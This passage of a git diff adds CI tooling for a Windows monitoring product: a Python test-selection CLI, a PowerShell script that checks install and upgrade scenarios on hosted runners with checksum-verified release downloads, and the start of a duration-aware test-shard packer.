+        ls.add_argument(f"--{k}", default="false")
+
+    ds = sub.add_parser("darling-scope", help="what the build job's no-store Darling pass runs (workflow step)")
+    ds.add_argument("--event", required=True)
+    ds.add_argument("--gate", default="false", help="the Darling PostgreSQL gate's answer (darling-paths-filter.yml)")
+    for k in ("full", "core", "root"):
+        ds.add_argument(f"--{k}", default="true", help="a path that runs the whole Darling suite changed")
+
+    ts = sub.add_parser("tree-scope", help="what darling-tree-guards runs once it runs (workflow step)")
+    ts.add_argument("--event", required=True)
+    ts.add_argument("--all-count", type=int, default=0)
+    ts.add_argument("--lite-count", type=int, default=0)
+
+    sk = sub.add_parser("slow-skip", help="the Cost=Slow classes a pull request run leaves out (workflow step)")
+    sk.add_argument("--suite", required=True, choices=sorted(SUITE_DIRS))
+    sk.add_argument("--event", required=True)
+    sk.add_argument("--base-ref", default="", help="the pull request's base branch (github.base_ref); main skips nothing")
+    sk.add_argument("--repo", default="")
+    sk.add_argument("--pr", default="")
+    sk.add_argument("--list", action="store_true", help="print every Cost=Slow class of the suite instead")
+    sk.add_argument("files", nargs="*", help="changed files; with --repo and --pr they come from the API instead")
+
+    dc = sub.add_parser("decide", help="print every decision for a list of changed files")
+    dc.add_argument("--event", default="pull_request")
+    dc.add_argument("files", nargs="*")
+
+    ms = sub.add_parser("map-select", help="which classes a pull request runs, from a class-to-file map (workflow step)")
+    ms.add_argument("--map", required=True, help="the test map (JSON, or .gz)")
+    ms.add_argument("--event", default="pull_request")
+    ms.add_argument("--base-ref", default="", help="the pull request's base branch (github.base_ref); main runs everything")
+    ms.add_argument("--base", help="the merge base; the drift is `git diff --no-renames <map sha>..<base>`")
+    ms.add_argument("--drift-file", help="the drift as one path per line, instead of --base (`-` for none)")
+    ms.add_argument("--root", default=ROOT, help="the tree whose test classes are listed (default: this repository)")
+    ms.add_argument("--files-from", help="the changed files as one path per line, in place of the arguments")
+    ms.add_argument("--out", help="also write the selection JSON to this file (stdout keeps the notice and the JSON)")
+    ms.add_argument("--summary", help="also write the shadow step-summary markdown to this file")
+    ms.add_argument("files", nargs="*")
+
+    mk = sub.add_parser("map-keep", help="the classes a shard keeps from a selection; FULL when it cannot be trusted (workflow step)")
+    mk.add_argument("--selection", required=True, help="the JSON map-select --out wrote; missing or unreadable counts as FULL")
+    mk.add_argument("--suite", required=True, choices=("darling", "lite"))
+
+    sc = sub.add_parser("shadow-check", help="classes that failed but a map selection would not have run (workflow step)")
+    sc.add_argument("--selection", help="the JSON map-select --out wrote; missing or unreadable counts as FULL")
+    sc.add_argument("--reports", required=True, help="a folder with one subfolder per timing artifact")
+    sc.add_argument("--out", required=True, help="the one-row JSONL file to write")
+    sc.add_argument("--meta", default="{}", help="JSON object merged into the row (run, sha, pr...)")
+    sc.add_argument("--attempt", type=int, help="the run attempt; accepted for callers, but it no longer filters: "
+                                                "staleness is decided per artifact folder (the `attempt` of --meta "
+                                                "still lands in the row)")
+    sc.add_argument("--jobs", help="the latest attempt's jobs, one {name, conclusion} JSON object per line; "
+                                   "the row lists the failed ones")
+
+    args = ap.parse_args(argv)
+    if args.replay:
+        misses = replay(args.corpus)
+        if args.map:
+            map_replay(load_map(args.map), args.corpus, misses_out=args.misses_out)  # reports; does not fail the replay yet
+        return 1 if misses else 0
+    if args.cmd == "map-select":
+        files = list(args.files)
+        if args.files_from:
+            with open(args.files_from, encoding="utf-8") as fh:
+                files += [ln.strip() for ln in fh if ln.strip()]
+        test_map = load_map(args.map)
+        drift: "list[str] | None" = None
+        if args.drift_file == "-":
+            drift = []
+        elif args.drift_file:
+            with open(args.drift_file, encoding="utf-8") as fh:
+                drift = [ln.strip() for ln in fh if ln.strip()]
+        elif args.base and isinstance(test_map, dict) and isinstance(test_map.get("sha"), str):
+            drift = git_drift(test_map["sha"], args.base)
+        discovered = scan_classes(args.root)
+        if isinstance(test_map, dict) and isinstance(test_map.get("classes"), dict):
+            # The map holds the suites the nightly instruments (darling, lite). The deprecated suites in the tree
+            # are not in it and no shard runs them as a test-map class, so they are not "new classes".
+            discovered = {s: v for s, v in discovered.items() if s in test_map["classes"]}
+        result = map_select(test_map, files, drift, discovered, event=args.event, base_ref=args.base_ref,
+                            **selection_args(Rules()))
+        if result["full"]:
+            print(f"::notice::test map: running everything ({result['reason']})")
+        print(json.dumps(result, indent=1))
+        if args.out:
+            with open(args.out, "w", encoding="utf-8", newline="\n") as fh:
+                json.dump(result, fh)
+        if args.summary:
+            with open(args.summary, "w", encoding="utf-8", newline="\n") as fh:
+                fh.write(shadow_summary(result))
+        return 0
+    if args.cmd == "map-keep":
+        # Line 1 is `SELECTED <n>` (then one class name per line) or `FULL <reason>`; the exit code is always 0, so a
+        # caller that cannot read the answer runs everything.
+        try:
+            with open(args.selection, encoding="utf-8") as fh:
+                chosen = json.load(fh)
+        except (OSError, ValueError):
+            chosen = None
+        names, why = map_keep(chosen, args.suite)
+        if names is None:
+            print(f"FULL {why}")
+        else:
+            print(f"SELECTED {len(names)}")
+            print("\n".join(sorted(names)))
+        return 0
+    if args.cmd == "shadow-check":
+        selection = None
+        if args.selection:
+            try:
+                with open(args.selection, encoding="utf-8") as fh:
+                    selection = json.load(fh)
+            except (OSError, ValueError):
+                selection = None
+        try:
+            meta = json.loads(args.meta)
+        except ValueError:
+            meta = {}
+        meta = meta if isinstance(meta, dict) else {}
+        failed, seen, stale = failed_classes(args.reports)
+        row = shadow_row(selection, failed, seen, meta, stale, failed_jobs(args.jobs))
+        with open(args.out, "w", encoding="utf-8", newline="\n") as fh:
+            fh.write(json.dumps(row, sort_keys=True) + "\n")
+        for m in row["misses"]:
+            print(f"::notice title=Shadow miss::{m['suite']} {m['class']} failed and the test map would not have run it")
+        print(f"shadow-check: full={row['full']} misses={len(row['misses'])} reports={row['reports']}")
+        return 0
+    if args.cmd == "lite-scope":
+        mode = lite_scope(args.event, _bool(args.lite), _bool(args.core), _bool(args.root), _bool(args.reads),
+                          _bool(args.linked))
+        run = mode == "full" or (mode == "reads" and args.shard == "0")
+        print(f"mode={mode}")
+        print(f"run={'true' if run else 'false'}")
+        return 0
+    if args.cmd == "darling-scope":
+        scope = darling_scope(args.event, True, args.event != "release" and _bool(args.gate),
+                              _bool(args.full) or _bool(args.core) or _bool(args.root))
+        print(f"scope={scope}")
+        print("filter=" + scope_filter(scope))
+        return 0
+    if args.cmd == "tree-scope":
+        scope = tree_scope(args.event, args.all_count, args.lite_count)
+        print(f"scope={scope}")
+        print("filter=" + scope_filter(scope))
+        return 0
+    if args.cmd == "slow-skip":
+        index = SlowIndex()
+        if args.list:
+            print("\n".join(sorted(index.slow[args.suite])))
+            return 0
+        files = args.files
+        if not files and args.repo and args.pr.isdigit() and args.event == "pull_request":
+            files = changed_files_of_pr(args.repo, args.pr)
+        print("\n".join(index.skip(files, args.event, args.base_ref)[args.suite]))
+        return 0
+    if args.cmd == "decide":
+        print(json.dumps(decide(args.files, args.event, Rules()), indent=1))
+        return 0
+    ap.print_help()
+    return 2
+
+
+if __name__ == "__main__":
+    sys.exit(main(sys.argv[1:]))
diff --git a/.github/scripts/darling-upgrade-shapes.ps1 b/.github/scripts/darling-upgrade-shapes.ps1
new file mode 100644
index 0000000000..fc3a597fa9
--- /dev/null
+++ b/.github/scripts/darling-upgrade-shapes.ps1
@@ -0,0 +1,265 @@
+<#
+.SYNOPSIS
+  Runs ONE leg of the Darling upgrade-shape check (#5627): builds an older install the way an operator would
+  have, then runs this checkout's install-darling.ps1 or upgrade-darling.ps1 over it and fails the leg, with a
+  one-line reason, when the outcome is not the expected one.
+
+.DESCRIPTION
+  Called by .github/workflows/darling-upgrade-shapes.yml, one leg per job, on an elevated hosted Windows runner.
+  The older install is the REAL release: its zip is downloaded, its own install-darling.ps1 runs, and its
+  service is started until it has extracted pg-runtime (pg-runtime.stamp), then stopped. Nothing about the
+  base is built by hand, because the owner of the extracted files is whatever account ran the service when it
+  extracted them, and that is the thing the install/upgrade pre-lock check has to judge correctly.
+
+  Shapes (the leg name is <shape>-<script>):
+    U1  current release in C:\Program Files\PerformanceMonitorDarling, service stopped.      must PASS
+    U2  as U1, service logon changed to a non-default local account and started once on it.  must PASS
+    U3  as U1, service deleted. install-darling.ps1 must PASS; upgrade-darling.ps1 has no
+        service to upgrade and must say so, without listing the product's own files.
+    U4  pre-3.9 release in C:\PerformanceMonitorDarling. install-darling.ps1 must REFUSE, list only the
+        folder's own write entry, and print the move steps.
+#>
+param(
+    [Parameter(Mandatory)][ValidateSet('U1-install', 'U1-upgrade', 'U2-install', 'U2-upgrade', 'U3-install', 'U3-upgrade', 'U4-install')][string]$Leg,
+    [Parameter(Mandatory)][string]$Workspace,
+    [Parameter(Mandatory)][string]$CurrentVersion,
+    [Parameter(Mandatory)][string]$OldVersion
+)
+$ErrorActionPreference = 'Continue'
+$shape, $which = $Leg.Split('-')
+$svc = 'PerformanceMonitor Darling'
+$work = 'C:\darling-shapes-work'
+$repo = if ($env:GITHUB_REPOSITORY) { $env:GITHUB_REPOSITORY } else { 'erikdarlingdata/PerformanceMonitor' }
+$tools = Join-Path $Workspace 'Darling\tools'
+$clock = [System.Diagnostics.Stopwatch]::StartNew()
+New-Item -ItemType Directory -Force -Path $work | Out-Null
+
+function Say([string]$t) { Write-Host ''; Write-Host "##### $t" }
+
+function Fail-Leg([string]$reason) {
+    Write-Host "::error title=$Leg::$reason"
+    Write-Host "RESULT ${Leg}: FAIL - $reason"
+    if ($env:GITHUB_STEP_SUMMARY) { "- $Leg - FAIL - $reason" | Out-File -FilePath $env:GITHUB_STEP_SUMMARY -Append -Encoding utf8 }
+    exit 1
+}
+
+# A release zip is run elevated, so its SHA-256 is compared with the release's own SHA256SUMS.txt (a release asset
+# that lists every zip the release ships) before anything is extracted. A release with no checksum file, one that does
+# not list the zip exactly once, or a hash that differs fails the leg, and the zip is deleted.
+function Assert-ZipChecksum([string]$version, [string]$zip) {
+    $sums = Join-Path $work "SHA256SUMS-$version.txt"
+    if (-not (Test-Path $sums)) {
+        gh release download "v$version" -R $repo -p 'SHA256SUMS.txt' -O $sums --clobber
+        if ($LASTEXITCODE -ne 0) { Fail-Leg "the $version release ships no SHA256SUMS.txt to check its zip against" }
+    }
+    $name = Split-Path -Leaf $zip
+    $expected = @()
+    foreach ($line in (Get-Content -LiteralPath $sums)) {
+        if ($line -match '^\s*([0-9a-fA-F]{64})\s+\*?(\S+)\s*$' -and $Matches[2] -eq $name) { $expected += $Matches[1] }
+    }
+    if ($expected.Count -ne 1) { Fail-Leg "SHA256SUMS.txt of the $version release lists $name $($expected.Count) times, expected once" }
+    $actual = (Get-FileHash -LiteralPath $zip -Algorithm SHA256).Hash
+    if ($actual -ne $expected[0]) {
+        Remove-Item -LiteralPath $zip -Force -ErrorAction SilentlyContinue
+        Fail-Leg "$name does not match the SHA-256 in the $version release's SHA256SUMS.txt"
+    }
+    Write-Host "checksum ok: $name $actual"
+}
+
+function Get-Zip([string]$version) {
+    $zip = Join-Path $work "PerformanceMonitorDarling-$version.zip"
+    if (-not (Test-Path $zip)) {
+        gh release download "v$version" -R $repo -p "PerformanceMonitorDarling-$version.zip" -D $work --clobber
+        if ($LASTEXITCODE -ne 0) { Fail-Leg "could not download the $version release zip" }
+    }
+    Assert-ZipChecksum $version $zip
+    return $zip
+}
+
+# Runs a script in Windows PowerShell 5.1 (the engine an operator's elevated prompt starts) and returns its exit
+# code and stdout. A child started from pwsh inherits pwsh's PSModulePath and then cannot load Get-Acl, so it is
+# given the machine value. The code comes back as text so 'TIMEOUT' and a number compare the same way.
+function Run-Script([string]$script, [string[]]$scriptArgs, [string]$tag, [int]$timeoutSec = 900) {
+    $out = Join-Path $work "$tag.out.txt"; $err = Join-Path $work "$tag.err.txt"
+    $argList = @('-NoProfile', '-ExecutionPolicy', 'Bypass', '-File', "`"$script`"") + $scriptArgs
+    Write-Host "RUN powershell.exe $($argList -join ' ')"
+    $savedModulePath = $env:PSModulePath
+    $env:PSModulePath = [Environment]::GetEnvironmentVariable('PSModulePath', 'Machine')
+    $p = Start-Process -FilePath 'powershell.exe' -ArgumentList $argList -RedirectStandardOutput $out -RedirectStandardError $err -PassThru -NoNewWindow
+    $null = $p.Handle
+    $env:PSModulePath = $savedModulePath
+    if (-not $p.WaitForExit($timeoutSec * 1000)) { try { $p.Kill() } catch { }; $code = 'TIMEOUT' }
+    else { $p.WaitForExit(); $code = [string]$p.ExitCode }
+    $text = if (Test-Path $out) { (Get-Content $out -Raw) } else { '' }
+    Write-Host "----- stdout of $tag (exit code: $code) -----"
+    if (Test-Path $out) { Get-Content $out -TotalCount 80 | ForEach-Object { Write-Host $_ } }
+    if ((Test-Path $err) -and (Get-Item $err).Length -gt 0) { Write-Host "----- stderr of $tag -----"; Get-Content $err -TotalCount 30 | ForEach-Object { Write-Host $_ } }
+    return [pscustomobject]@{ Code = $code; Text = [string]$text }
+}
+
+function Stop-Darling {
+    $s = Get-Service -Name $svc -ErrorAction SilentlyContinue
+    if ($s -and $s.Status -ne 'Stopped') {
+        try { Stop-Service -Name $svc -Force -ErrorAction Stop; $s.WaitForStatus('Stopped', [TimeSpan]::FromSeconds(180)) } catch { Write-Host "Stop-Service: $_" }
+    }
+    Get-Service -Name $svc -ErrorAction SilentlyContinue | ForEach-Object { Write-Host "service now: $($_.Status)" }
+}
+
+# Installs <version> into <root> the way an operator does (extract, write darling.json, run its install script) and
+# lets the SERVICE extract pg-runtime. A base without pg-runtime.stamp is not the shape under test, so it fails the leg.
+function New-Base([string]$version, [string]$root, [bool]$acceptWritable) {
+    Say "BASE: install $version into $root"
+    $zip = Get-Zip $version
+    New-Item -ItemType Directory -Force -Path $root | Out-Null
+    tar -xf $zip -C $root
+    $cfg = '{ "postgres": { "managed": true, "port": 5641, "dataDirectory": null, "connectAs": "admin" }, "servers": [ { "name": "nosuch", "host": "nosuch.invalid", "auth": "integrated" } ] }'
+    Set-Content -LiteralPath (Join-Path $root 'darling.json') -Value $cfg
+    $script = Join-Path $root 'install-darling.ps1'
+    $declared = @(Select-String -LiteralPath $script -Pattern '^\s*\[switch\]\$(\w+)' | ForEach-Object { $_.Matches[0].Groups[1].Value })
+    $a = @(); foreach ($w in 'SkipPreflight', 'NoShortcuts') { if ($declared -contains $w) { $a += "-$w" } }
+    if ($acceptWritable -and $declared -contains 'AcceptWritableExtraction') { $a += '-AcceptWritableExtraction' }
+    $r = Run-Script $script $a "base-$version-install" 600
+    if ($r.Code -ne 0) { Fail-Leg "the $version base install exited with $($r.Code)" }
+
+    $stamp = Join-Path $root 'pg-runtime\pg-runtime.stamp'
+    $deadline = (Get-Date).AddMinutes(6)
+    while (-not (Test-Path -LiteralPath $stamp) -and (Get-Date) -lt $deadline) { Start-Sleep -Seconds 5 }
+    if (-not (Test-Path -LiteralPath $stamp)) {
+        Get-ChildItem 'C:\ProgramData\PerformanceMonitorDarling\logs' -ErrorAction SilentlyContinue | Select-Object -Last 2 | ForEach-Object { Write-Host "log $($_.FullName)"; Get-Content $_.FullName -Tail 25 }
+        Fail-Leg "the $version service did not extract pg-runtime within 6 minutes"
+    }
+    Start-Sleep -Seconds 10
+    Stop-Darling
+    Write-Host "BASE: $version installed in $root, pg-runtime extracted by its service, service stopped"
+}
+
+# The next-release scripts of THIS checkout, laid over the current release's files.
+function Add-CurrentBuild([string]$dest) {
+    $zip = Get-Zip $CurrentVersion
+    tar -xf $zip -C $dest
+    foreach ($f in 'install-darling.ps1', 'upgrade-darling.ps1', 'uninstall-darling.ps1') { Copy-Item -LiteralPath (Join-Path $tools $f) -Destination (Join-Path $dest $f) -Force }
+}
+
+# Gives a local account the "Log on as a service" right, which a service needs before it can start under it.
+function Grant-ServiceLogonRight([string]$account) {
+    $sid = (New-Object System.Security.Principal.NTAccount($account)).Translate([System.Security.Principal.SecurityIdentifier]).Value
+    $inf = Join-Path $work 'userrights.inf'; $db = Join-Path $work 'userrights.sdb'
+    secedit.exe /export /cfg $inf /areas USER_RIGHTS | Out-Null
+    $out = New-Object System.Collections.Generic.List[string]
+    $found = $false
+    foreach ($line in (Get-Content -LiteralPath $inf)) {
+        if ($line -match '^SeServiceLogonRight\s*=') { $out.Add("$line,*$sid"); $found = $true }
+        else { $out.Add($line) }
+        if (-not $found -and $line -match '^\[Privilege Rights\]') { $out.Add("SeServiceLogonRight = *$sid"); $found = $true }
+    }
+    Set-Content -LiteralPath $inf -Value $out -Encoding Unicode
+    secedit.exe /configure /db $db /cfg $inf /areas USER_RIGHTS | Out-Null
+}
+
+function Show-State([string]$root) {
+    Say "STATE root=$root"
+    icacls $root | Select-Object -First 12
+    sc.exe qc $svc
+    foreach ($p in @("$root\pg-runtime", "$root\pg-runtime\pg-runtime.stamp", "$root\darling.json")) {
+        if (Test-Path -LiteralPath $p) {
+            $o = (Get-Acl -LiteralPath $p).GetOwner([System.Security.Principal.SecurityIdentifier])
+            $n = try { $o.Translate([System.Security.Principal.NTAccount]).Value } catch { '(untranslatable)' }
+            Write-Host "owner of ${p}: $n"
+        } else { Write-Host "absent: $p" }
+    }
+}
+
+function Expect-Success($r, [string]$what) {
+    if ($r.Code -ne 0) { Fail-Leg "$what exited with $($r.Code), expected 0" }
+    if ($r.Text -match 'Ordinary users can already write|already writable by ordinary users') { Fail-Leg "$what reported an ordinary-user write grant on a folder only administrators can write" }
+}
+
+Say "LEG $Leg on $([Environment]::OSVersion.VersionString) (current $CurrentVersion, older $OldVersion)"
+
+# -- the base for the shape ----------------------------------------------------------------------------------------
+$root = if ($shape -eq 'U4') { 'C:\PerformanceMonitorDarling' } else { 'C:\Program Files\PerformanceMonitorDarling' }
+New-Base $(if ($shape -eq 'U4') { $OldVersion } else { $CurrentVersion }) $root $false
+
+switch ($shape) {
+    'U2' {
+        Say 'U2: the service logon becomes a non-default local account and the service runs once on it'
+        $account = 'darlingshape'
+        $pw = 'Aa1!' + ([guid]::NewGuid().ToString('N'))
+        net user $account $pw /add | Out-Null
+        Grant-ServiceLogonRight ".\$account"
+        # The store's files belong to the previous account. After a logon change the service's own error tells an
+        # operator to re-own the store to the new account, so the leg does the same before the service runs on it.
+        $store = 'C:\ProgramData\PerformanceMonitorDarling'
+        if (Test-Path -LiteralPath $store) {
+            icacls $store /setowner ".\$account" /T /C | Select-Object -Last 1 | Out-Host
+            icacls $store /grant "${account}:(OI)(CI)F" /T /C | Select-Object -Last 1 | Out-Host
+        }
+        sc.exe config $svc obj= ".\$account" password= $pw | Out-Host
+        try { Start-Service -Name $svc -ErrorAction Stop; (Get-Service -Name $svc).WaitForStatus('Running', [TimeSpan]::FromSeconds(90)) } catch { Write-Host "start on ${account}: $_" }
+        Write-Host "service on ${account} after the start attempt: $((Get-Service -Name $svc).Status)"
+        Stop-Darling
+    }
+    'U3' {
+        Say 'U3: the service is deleted'
+        sc.exe delete $svc | Out-Host
+        Start-Sleep -Seconds 3
+        if (Get-Service -Name $svc -ErrorAction SilentlyContinue) { Fail-Leg 'the service is still registered after sc.exe delete' }
+    }
+}
+
+# -- the current build over it, then the script under test ----------------------------------------------------------
+if ($which -eq 'install') {
+    Add-CurrentBuild $root
+    Show-State $root
+    Say "RUN this checkout's install-darling.ps1"
+    $r = Run-Script (Join-Path $root 'install-darling.ps1') @('-SkipPreflight', '-NoShortcuts') "$Leg-run"
+}
+else {
+    $stage = 'C:\Program Files\darling-shapes-stage'
+    New-Item -ItemType Directory -Force -Path $stage | Out-Null
+    Add-CurrentBuild $stage
+    Show-State $root
+    Say "RUN this checkout's upgrade-darling.ps1"
+    $upgradeArgs = @('-SkipHashCheck')
+    if ($shape -eq 'U3') {
+        # With no service the script cannot find the install root by itself: it must say so and stop.
+        $noRoot = Run-Script (Join-Path $stage 'upgrade-darling.ps1') $upgradeArgs "$Leg-noroot"
+        if ($noRoot.Code -eq '0' -or $noRoot.Code -eq 'TIMEOUT') { Fail-Leg "upgrade-darling.ps1 with no service registered and no -InstallRoot exited with $($noRoot.Code), expected a refusal" }
+        if ($noRoot.Text -notmatch 'is not installed') { Fail-Leg 'upgrade-darling.ps1 with no service registered and no -InstallRoot did not say the service is not installed' }
+        $upgradeArgs += @('-InstallRoot', "`"$root`"")
+    }
+    $r = Run-Script (Join-Path $stage 'upgrade-darling.ps1') $upgradeArgs "$Leg-run"
+}
+
+# -- the expectation of the leg ------------------------------------------------------------------------------------
+switch ($Leg) {
+    { $_ -in 'U1-install', 'U1-upgrade', 'U2-install', 'U2-upgrade' } { Expect-Success $r "$which-darling.ps1" }
+    'U3-install' {
+        Expect-Success $r 'install-darling.ps1'
+        if (-not (Get-Service -Name $svc -ErrorAction SilentlyContinue)) { Fail-Leg 'install-darling.ps1 exited 0 but left no service registered' }
+    }
+    'U3-upgrade' {
+        # With no service there is nothing to stop and start around the copy: the script says so and exits non-zero.
+        if ($r.Code -eq 0 -or $r.Code -eq 'TIMEOUT') { Fail-Leg "upgrade-darling.ps1 with no service registered exited with $($r.Code), expected a refusal" }
+        if ($r.Text -notmatch 'not registered on this machine|is not installed') { Fail-Leg 'upgrade-darling.ps1 with no service registered did not say the service is missing' }
+        if ($r.Text -match 'owned by NT SERVICE|already writable by ordinary users|Ordinary users can already write') { Fail-Leg 'upgrade-darling.ps1 with no service registered listed the product''s own files or an ordinary-user write grant' }
+    }
+    'U4-install' {
+        if ($r.Code -eq 0 -or $r.Code -eq 'TIMEOUT') { Fail-Leg "install-darling.ps1 over a pre-3.9 folder under C:\ exited with $($r.Code), expected a refusal" }
+        if ($r.Text -match 'owned by NT SERVICE') { Fail-Leg 'the refusal lists files owned by the product''s own service account' }
+        if ($r.Text -match 'and \d+ more') { Fail-Leg 'the refusal lists more than the folder''s own write entry' }
+        $findings = @([regex]::Matches($r.Text, '(?m)^\s{2}\S.* on C:\\PerformanceMonitorDarling\s*$'))
+        if ($findings.Count -ne 1) { Fail-Leg "the refusal lists $($findings.Count) write entries on the root folder, expected exactly 1" }
+        $otherLines = @([regex]::Matches($r.Text, '(?m)^\s{2}\S.* on [A-Za-z]:\\.*$') | Where-Object { $_.Value -notmatch 'on C:\\PerformanceMonitorDarling\s*$' })
+        if ($otherLines.Count -gt 0) { Fail-Leg "the refusal lists an entry other than the root folder: $($otherLines[0].Value.Trim())" }
+        if ($r.Text -notmatch [regex]::Escape('C:\Program Files')) { Fail-Leg 'the refusal does not name C:\Program Files as the place to move to' }
+        if ($r.Text -notmatch 'darling\.json') { Fail-Leg 'the refusal does not say to carry darling.json over' }
+    }
+}
+
+$secs = [int]$clock.Elapsed.TotalSeconds
+Write-Host "RESULT ${Leg}: PASS (${secs}s)"
+if ($env:GITHUB_STEP_SUMMARY) { "- $Leg - PASS (${secs}s)" | Out-File -FilePath $env:GITHUB_STEP_SUMMARY -Append -Encoding utf8 }
+# The step's exit code is the last native command's unless the script says otherwise (a leg's sc.exe or icacls call
+# can leave a non-zero code behind), and every expectation above has already failed the leg by now.
+exit 0
diff --git a/.github/scripts/lite-shard-pack.py b/.github/scripts/lite-shard-pack.py
new file mode 100644
index 0000000000..fd7d01cd76
--- /dev/null
+++ b/.github/scripts/lite-shard-pack.py
@@ -0,0 +1,586 @@
+#!/usr/bin/env python3
+"""Duration-aware shard assignment for the Lite test matrix, with a proof that it loses no class (#5208).
+
+  lite-shard-pack.py pack      --classes FILE --shards N --out DIR [--timings DIR ...] [--tests-dir DIR]
+  lite-shard-pack.py reconcile --classes FILE --shards N --out DIR
+  lite-shard-pack.py backtest  --runs DIR [DIR ...] [--tests-dir DIR]
+  lite-shard-pack.py --self-test
+
+`pack` reads the full discovered class list (one class per line) and writes DIR/shard-K.txt for K in
+0..N-1. Weights come from xUnit v3 `-xml` result files (sum of <test time> per `type`; a test with no `time`,
+or a NaN, infinite or negative one, has no timing). Classes are placed longest-first into the shard with the
+least accumulated time; ties break on class name, then shard index, so the same inputs always give the same
+assignment. A class that runs one at a time weighs its test seconds; any other class weighs its test seconds
+divided by PARALLEL_CONCURRENCY, because that is how many seconds of parallel classes fit in one wall second.
+Serial classes are the ones whose xUnit collection is declared `DisableParallelization = true`: the XML names each
+class's collection, and the declarations are read from the test sources (`--tests-dir`, default Lite.Tests at
+the repo root), so there is no hand-kept list to rot. Every class weighs at least MIN_WEIGHT, so a class whose tests were all skipped still moves a
+shard's load and no shard is left empty. A class with no timing history gets the MEAN weight of the known
+classes. When the timings are missing, unreadable, empty, all zero, or cover less than MIN_COVERAGE of the
+discovered classes, the assignment falls back to the class-name hash (SHA-256 first byte modulo N), the cut
+the workflow used before this script existed.
+
+`backtest` replays the model: the DIRs are runs in time order, each holding one xUnit XML per shard. For every run after
+the first it weighs that run's shards by the PREVIOUS run's timings and prints modelled against ran, the way the real
+cut sees them, with each shard's error and the share of shards within 20 %. It writes nothing and the workflow never
+calls it (#5208). When the earlier run's XML carries the `cpu-ms` attachment (Lite.Tests' per-test CPU accountant), it
+adds one line: the error a CPU-weighted cut would have had beside the wall-weighted error, both scaled to the run's
+total seconds so the unit drops out. `pack` ignores cpu-ms: wall weights still cut the shards.
+
+`reconcile` is the guard: it fails (exit 1) unless the shard files hold every discovered class exactly once
+and nothing else, and prints both differences. `pack` runs it before it exits, so a bad packer cannot
+produce a green run, and the workflow runs it again on the files each shard actually reads.
+"""
+import collections
+import glob
+import hashlib
+import math
+import os
+import re
+import sys
+import tempfile
+import xml.etree.ElementTree as ET
+
+MIN_COVERAGE = 0.8
+MIN_WEIGHT = 0.001
+# Effective concurrency of the parallel classes in a Lite shard (#5208): least squares over the 36 shard walls of nine
+# full dev and train runs (each shard's own parallel and serial seconds against its assembly wall), where
+# wall = parallel seconds / 3.56 + serial seconds. A serial class (DisableParallelization collection) runs alone, so
+# each of its seconds costs a whole wall second; a parallel class's seconds overlap about 3.56 deep (the assembly
+# runs 4 collection threads). The old 3.4 over-predicted by 16 s on average; a free serial multiplier or a fixed
+# per-shard cost fits no better than this one constant, so the model keeps its shape. A blend of each class's seconds
+# with its test count was tried and dropped: replayed on 13 fresh timing artifacts it beat the plain cut in 78 of 156
+# ordered pairs, a coin flip.
+# Re-checked against 14 dev runs (`backtest`, #5208): from a shard's OWN seconds the model is 3 % off on average and every
+# shard is within 20 %; from the PREVIOUS run's seconds it is 25 % off and 46 % of shards are within 20 %. The gap is the
+# weights, not this constant: a class's seconds swing with what runs beside it (one test class took 0.2 s a test in one run
+# and 5.6 s a test in another), so no estimator over earlier runs got under about 19 % (median of the last 5, median of all
+# the other 13, minimum, trimmed mean, a power or a cap on each weight).
+PARALLEL_CONCURRENCY = 3.56
+DEFAULT_TESTS_DIR = os.path.join(os.path.dirname(os.path.abspath(__file__)), "..", "..", "Lite.Tests")
+
+
+def read_classes(path):
+    with open(path, encoding="utf-8") as f:
+        return [ln.strip() for ln in f if ln.strip()]
+
+
+def load_weights(dirs):
+    """Seconds per class from every *.xml under dirs. Returns {} when nothing usable was read."""
+    weights = collections.defaultdict(float)
+    for d in dirs:
+        paths = sorted(glob.glob(os.path.join(d, "**", "*.xml"), recursive=True)) if os.path.isdir(d) else sorted(glob.glob(d))
+        for p in paths:
+            try:
+                root = ET.parse(p).getroot()
+            except (ET.ParseError, OSError):
+                continue
+            for t in root.iter("test"):
+                cls = t.get("type")
+                raw = t.get("time")
+                if not cls or raw is None:
+                    continue
+                try:
+                    secs = float(raw)
+                except ValueError:
+                    continue
+                if not math.isfinite(secs) or secs < 0:
+                    continue
+                weights[cls] += secs
+    return dict(weights)
+
+
+def load_collections(dirs):
+    """{class: xUnit collection name} from every *.xml under dirs (the <collection name> a test sits in)."""
+    result = {}
+    for d in dirs:
+        paths = sorted(glob.glob(os.path.join(d, "**", "*.xml"), recursive=True)) if os.path.isdir(d) else sorted(glob.glob(d))
+        for p in paths:
+            try:
+                root = ET.parse(p).getroot()
+            except (ET.ParseError, OSError):
+                continue
+            for col in root.iter("collection"):
+                name = col.get("name")
+                if not name:
+                    continue
+                for t in col.iter("test"):
+                    if t.get("type"):
+                        result[t.get("type")] = name
+    return result
+
+
+_SERIAL_DEF = re.compile(r"\[\s*CollectionDefinition\(\s*([^,)]+?)\s*,\s*DisableParallelization\s*=\s*true\b")
+
+
+def serial_collection_names(tests_dir):
+    """Names of the collections declared `[CollectionDefinition(name, DisableParallelization = true)]` under
+    tests_dir, plus the declarations it could not resolve to a name. `name` is a string literal or a
+    `Holder.Member` constant, found as `const string Member = "..."` in a class Holder."""
+    texts = []
+    for p in sorted(glob.glob(os.path.join(tests_dir, "**", "*.cs"), recursive=True)) if os.path.isdir(tests_dir) else []:
+        try:
+            with open(p, encoding="utf-8-sig") as f:
+                texts.append(f.read())
+        except OSError:
+            continue
+    names, unresolved = set(), []
+    for text in texts:
+        for m in _SERIAL_DEF.finditer(text):
+            expr = m.group(1).strip()
+            if len(expr) >= 2 and expr[0] == expr[-1] == '"':
+                names.add(expr[1:-1])
+                continue
+            holder, _, member = expr.rpartition(".")
+            found = None
+            if holder:
+                pat = re.compile(r"\bclass\s+" + re.escape(holder.rpartition(".")[2]) + r"\b[\s\S]{0,400}?const\s+string\s+"
+                                 + re.escape(member) + r'\s*=\s*"([^"]*)"')
+                for t in texts:
+                    mm = pat.search(t)
+                    if mm:
+                        found = mm.group(1)
+                        break
+            if found is None:
+                unresolved.append(expr)
+            else:
+                names.add(found)
+    return names, unresolved
+
+
+def hash_shard(name, shards):
+    return hashlib.sha256(name.encode("utf-8")).digest()[0] % shards
+
+
+def class_weight(raw, is_serial):
+    """Wall-clock cost of a class: a serial class's seconds, or a parallel class's seconds spread over the overlap."""
+    return raw if is_serial else raw / PARALLEL_CONCURRENCY
+
+
+def predicted_walls(assignment, weights, serial):
+    """Modelled wall seconds per shard: parallel seconds / PARALLEL_CONCURRENCY + serial seconds. A class with no
+    timing counts at the mean of the timed classes, as `pack` places it (#5208)."""
